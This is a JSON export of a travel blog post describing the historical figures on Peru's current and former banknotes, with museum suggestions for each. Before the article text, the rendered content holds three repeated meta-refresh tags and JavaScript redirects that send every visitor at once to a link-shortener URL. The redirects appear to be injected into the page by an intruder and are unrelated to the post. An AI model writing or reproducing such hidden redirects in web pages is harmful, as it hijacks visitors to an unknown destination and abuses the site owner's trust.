{"id":12659,"date":"2025-07-31T14:47:25","date_gmt":"2025-07-31T19:47:25","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=12659"},"modified":"2025-07-31T14:47:28","modified_gmt":"2025-07-31T19:47:28","slug":"whos-on-peruvian-money-meet-the-icons-behind-the-bills","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/whos-on-peruvian-money-meet-the-icons-behind-the-bills\/","title":{"rendered":"Who\u2019s on Peruvian Money? Meet the Icons Behind the Bills"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>If you visit Peru, you\u2019ll quickly notice that the Peruvian currency, the nuevo sol, features portraits of important historical figures. <\/p>\n\n\n\n<p>But who are these people, and why are they honored on Peru\u2019s banknotes? The \u201cBanco Central de Peru\u201d recently redesigned its banknotes, introducing new faces while replacing older ones.<\/p>\n\n\n\n<p>\u00a0Although previous banknotes are still the currency in Peru, each person represents the country\u2019s rich artistic, literary, historical, and scientific contributions. <\/p>\n\n\n\n<p>So, in this article, let\u2019s explore the stories behind the figures on the 10, 20, 50, 100, and 200 nuevos soles notes features\u2014both past and present!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>10 Soles \u2013 Chabuca Granda (Current)&nbsp;<\/strong><\/h2>\n\n\n\n<p>To begin with, the 10 soles banknote now honors<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chabuca-granda-a-voice-that-still-echoes\/\"> <strong>Chabuca Granda<\/strong><\/a>, one of Peru\u2019s most beloved singer-songwriters. <\/p>\n\n\n\n<p>Born in 1920 in Apur\u00edmac, she became famous for her unique style of Peruvian music, blending Creole rhythms with poetic lyrics.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"376\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/NW7SD4E4BVGJVOLKZOP3Q7EEVE.jpg?resize=697%2C376&#038;ssl=1\" alt=\"current 20 soles bill\" class=\"wp-image-12663\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/NW7SD4E4BVGJVOLKZOP3Q7EEVE.jpg?w=980&amp;ssl=1 980w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/NW7SD4E4BVGJVOLKZOP3Q7EEVE.jpg?resize=300%2C162&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/NW7SD4E4BVGJVOLKZOP3Q7EEVE.jpg?resize=768%2C414&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;Her most famous song, <em>La Flor de la Canela<\/em> (\u201cThe Cinnamon Flower\u201d), is a tribute to Lima\u2019s charm and traditions. Peruvians remember Chabuca well for their performances and her well-written tunes and moving lyrics.<\/p>\n\n\n\n<p><strong>Where to learn more:<\/strong> Visit the <strong>Chabuca Granda Promenade<\/strong> in Lima, a lovely riverside walkway dedicated to her in Lima\u2019s downtown. You can also visit the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/best-things-to-do-in-barranco-lima\/\" title=\"\">Barranco<\/a><\/strong> district, where she got all her inspiration.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Jos\u00e9 Abelardo Qui\u00f1ones (Previous)<\/strong><\/h3>\n\n\n\n<p>Before Chabuca, the face of the 10 soles bill was <strong>Jos\u00e9 Abelardo Qui\u00f1ones<\/strong>, a heroic Peruvian Air Force pilot. During the Ecuador-Peru war in 1941.<\/p>\n\n\n\n<p>He bravely flew his plane into enemy territory, sacrificing his life for his country. Today, he is considered a national hero.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"323\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original.jpg?resize=697%2C323&#038;ssl=1\" alt=\"old 20 soles bill\" class=\"wp-image-12662\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original-scaled.jpg?resize=1024%2C474&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original-scaled.jpg?resize=300%2C139&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original-scaled.jpg?resize=768%2C356&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original-scaled.jpg?resize=1536%2C711&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original-scaled.jpg?resize=2048%2C949&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/63dda45d3f0e86.79321108-original-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Where to learn more:<\/strong> You can visit the <strong>Peruvian Air Force Museum<\/strong> in Lima, which displays artifacts from his military career.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>20 Soles \u2013 Jos\u00e9 Mar\u00eda Arguedas (Current)&nbsp;<\/strong><\/h2>\n\n\n\n<p>Then, the 20 soles banknote features <strong>Jos\u00e9 Mar\u00eda Arguedas<\/strong>, a brilliant writer and anthropologist who dedicated his life to preserving indigenous culture.<\/p>\n\n\n\n<p> Born in 1911 in Andahuaylas, he grew up speaking <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua <\/strong><\/a>and wrote novels that gave a voice to Andean communities.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Billete-20.png?resize=697%2C392&#038;ssl=1\" alt=\"current 20 soles bill\" class=\"wp-image-12664\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Billete-20.png?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Billete-20.png?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Billete-20.png?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Billete-20.png?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>His works, such as <em>Deep Rivers<\/em> and <em>Yawar Fiesta<\/em>, mix Spanish and Quechua, making them unique and powerful. He is one of the most respected authors in Peru\u2019s literary history.<\/p>\n\n\n\n<p><strong>Where to learn more:<\/strong> The Jos\u00e9 Mar\u00eda Arguedas Museum in Andahuaylas preserves his personal belongings and manuscripts. In <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lima-the-capital-of-peru\/\"><strong>Lima<\/strong><\/a>, for example,  the National Library of Peru holds original editions of his books.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ra\u00fal Porras Barrenechea (Previous)<\/strong><\/h3>\n\n\n\n<p>The previous 20 soles bill featured <strong>Ra\u00fal Porras Barrenechea<\/strong>, a historian, diplomat, and defender of Peru\u2019s territorial rights. <\/p>\n\n\n\n<p>He played a key role in shaping Peru\u2019s foreign policy and was one of the country\u2019s most respected intellectuals.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"321\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?resize=697%2C321&#038;ssl=1\" alt=\"old 20 soles bill\" class=\"wp-image-12665\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?resize=1024%2C471&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?resize=300%2C138&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?resize=768%2C353&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?resize=1536%2C707&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?w=2000&amp;ssl=1 2000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/20solesmed_.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Where to learn more:<\/strong> His former home in Lima is now the <strong>Ra\u00fal Porras Barrenechea Institute<\/strong>, a research center on Peruvian history.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>50 Soles \u2013 Mar\u00eda Rostworowski (Current)&nbsp;<\/strong><\/h2>\n\n\n\n<p>The 50 soles bill now pays tribute to <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/maria-rostworowski-the-woman-who-let-peru-speak\/\" title=\"\">Mar\u00eda Rostworowski<\/a><\/strong>, a Polish-Peruvian historian who documented Peru\u2019s pre-Columbian past. <\/p>\n\n\n\n<p>She wrote <em>Historia del Tahuantinsuyo<\/em>, one of the most important books on the Inca civilization. Thanks to her research, many aspects of Peru\u2019s indigenous cultures have been preserved and better understood.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"325\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original.jpg?resize=697%2C325&#038;ssl=1\" alt=\"current 50 soles bill\" class=\"wp-image-12666\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original-scaled.jpg?resize=1024%2C478&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original-scaled.jpg?resize=300%2C140&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original-scaled.jpg?resize=768%2C358&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original-scaled.jpg?resize=1536%2C717&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original-scaled.jpg?resize=2048%2C956&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/62e491ac3d1216.09350257-original-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Where to learn more:<\/strong> The <strong>National Museum of Archaeology, Anthropology, and History<\/strong> in Lima displays her work and studies.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Abraham Valdelomar (Previous)<\/strong><\/h3>\n\n\n\n<p>Previously, the 50 soles bill featured <strong>Abraham Valdelomar Pinto<\/strong>, a poet, journalist, and storyteller. He is famous for <em>El Caballero Carmelo<\/em>, a heartwarming tale about a brave old fighting rooster and his young owner. His works capture everyday life in early 20th-century Peru and remain popular.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"317\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/consejos-para-detectar-un-billete-de-50-soles-falso.jpg?resize=697%2C317&#038;ssl=1\" alt=\"\" class=\"wp-image-12667\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/consejos-para-detectar-un-billete-de-50-soles-falso.jpg?resize=1024%2C466&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/consejos-para-detectar-un-billete-de-50-soles-falso.jpg?resize=300%2C137&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/consejos-para-detectar-un-billete-de-50-soles-falso.jpg?resize=768%2C350&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/consejos-para-detectar-un-billete-de-50-soles-falso.jpg?w=1500&amp;ssl=1 1500w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/consejos-para-detectar-un-billete-de-50-soles-falso.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Where to learn more:<\/strong> His childhood home in Ica has been turned into the <strong>Abraham Valdelomar House Museum<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>100 Soles \u2013 Pedro Paulet (Current)&nbsp;<\/strong><\/h2>\n\n\n\n<p>The 100 soles bill now celebrates <strong>Pedro Paulet<\/strong>, a scientist and engineer considered a pioneer of modern rocketry. <\/p>\n\n\n\n<p>Born in 1874 in Arequipa, he experimented with liquid-fueled rocket engines long before space travel was possible. Eventually, his visionary ideas influenced later developments in space exploration.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/RTBFNBSOMFANDBSJ7Q4NGBHEB4.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-12669\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/RTBFNBSOMFANDBSJ7Q4NGBHEB4.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/RTBFNBSOMFANDBSJ7Q4NGBHEB4.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/RTBFNBSOMFANDBSJ7Q4NGBHEB4.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/RTBFNBSOMFANDBSJ7Q4NGBHEB4.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Where to learn more:<\/strong> The <strong>Pedro Paulet Aerospace Museum<\/strong> in Arequipa showcases his inventions and contributions to science.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Jorge Basadre (Previous)<\/strong><\/h3>\n\n\n\n<p>Before him, <strong>Jorge Basadre<\/strong>, a historian specializing in Peru\u2019s republican history, was on the 100 soles bill. His work helped shape the understanding of Peru\u2019s development after independence.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"315\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?resize=697%2C315&#038;ssl=1\" alt=\"ancient 100 soles bill\" class=\"wp-image-12668\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?resize=1024%2C463&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?resize=300%2C136&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?resize=768%2C348&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?resize=1536%2C695&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?resize=2048%2C927&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/640267096438a4.19341965-original.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Where to learn more:<\/strong> The <strong>National Library of Peru<\/strong> holds many of his works.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>200 Soles \u2013 Tilsa Tsuchiya (Current)&nbsp;<\/strong><\/h2>\n\n\n\n<p>Finally, the 200 soles bill now honors <strong>Tilsa Tsuchiya<\/strong>, a Peruvian-Japanese painter known for blending <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/andean-cosmovision-understanding-the-mystical-andes\/\"><strong>Andean cosmovision<\/strong><\/a> or Andean mythology with surrealism. <\/p>\n\n\n\n<p>When she was a child, she started painting like a professional artist, so she studied at Bellas Artes University. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"324\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?resize=697%2C324&#038;ssl=1\" alt=\"current 200 soles bill\" class=\"wp-image-12671\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?resize=1024%2C476&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?resize=300%2C139&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?resize=768%2C357&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?resize=1536%2C713&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?resize=2048%2C951&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/nuevo-billete-scaled-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Her dreamlike paintings have been exhibited worldwide, making her one of Peru\u2019s most influential modern artists.<\/p>\n\n\n\n<p><strong>Where to learn more:<\/strong> You can see her artwork in the <strong>Museum of the Central Reserve Bank of Peru<\/strong> in Lima and various art galleries.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Santa Rosa de Lima (Previous)<\/strong><\/h3>\n\n\n\n<p>Previously, <strong>Santa Rosa de Lima<\/strong> was on the 200 soles bill. She was Peru\u2019s first saint and a symbol of faith and charity. <\/p>\n\n\n\n<p>She dedicated her life to helping the poor and sick, becoming one of the most revered figures in Peruvian and Latin American history.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"317\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?resize=697%2C317&#038;ssl=1\" alt=\"former 20 soles bill\" class=\"wp-image-12670\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?resize=1024%2C465&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?resize=300%2C136&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?resize=768%2C349&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?resize=1536%2C697&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?w=1710&amp;ssl=1 1710w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/como-detectar-billetes-falsos-de-200-soles.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p><strong>Where to learn more:<\/strong> Her home in Lima is now the <strong>Sanctuary of Santa Rosa de Lima<\/strong>, a pilgrimage site for visitors.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why These Figures Matter<\/strong><\/h3>\n\n\n\n<p>In conclusion, the people on Peruvian soles are more than just faces; they represent the nation\u2019s identity, creativity, and achievements. <\/p>\n\n\n\n<p>Through music, literature, history, science, and art, they have shaped Peru\u2019s cultural landscape and left a lasting impact.<\/p>\n\n\n\n<p>When you travel to Peru, take a closer look at your banknotes! They\u2019re not just money\u2014they tell the stories of some of the country\u2019s greatest minds. <\/p>\n\n\n\n<p>So, if you want to dive deeper into their legacies, be sure to visit the museums, libraries, and cultural sites that celebrate their contributions.<\/p>\n\n\n\n<p>\u00a0Finally, want to learn more about Peru\u2019s history and culture? Stay tuned for more fascinating stories on <strong>Viagens Machu Picchu&#8217;s <\/strong>blog. <\/p>\n\n\n\n<p>Also, keep in mind that we can assist you with your dreams of visiting Peru. From archaeological sites to cuisine and culture, Peru has it all!<\/p>\n\n\n\n<p>You can feel free to<strong> <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact<\/a> <\/strong>our consultants, so they can give you the right information for your Peruvian adventure. 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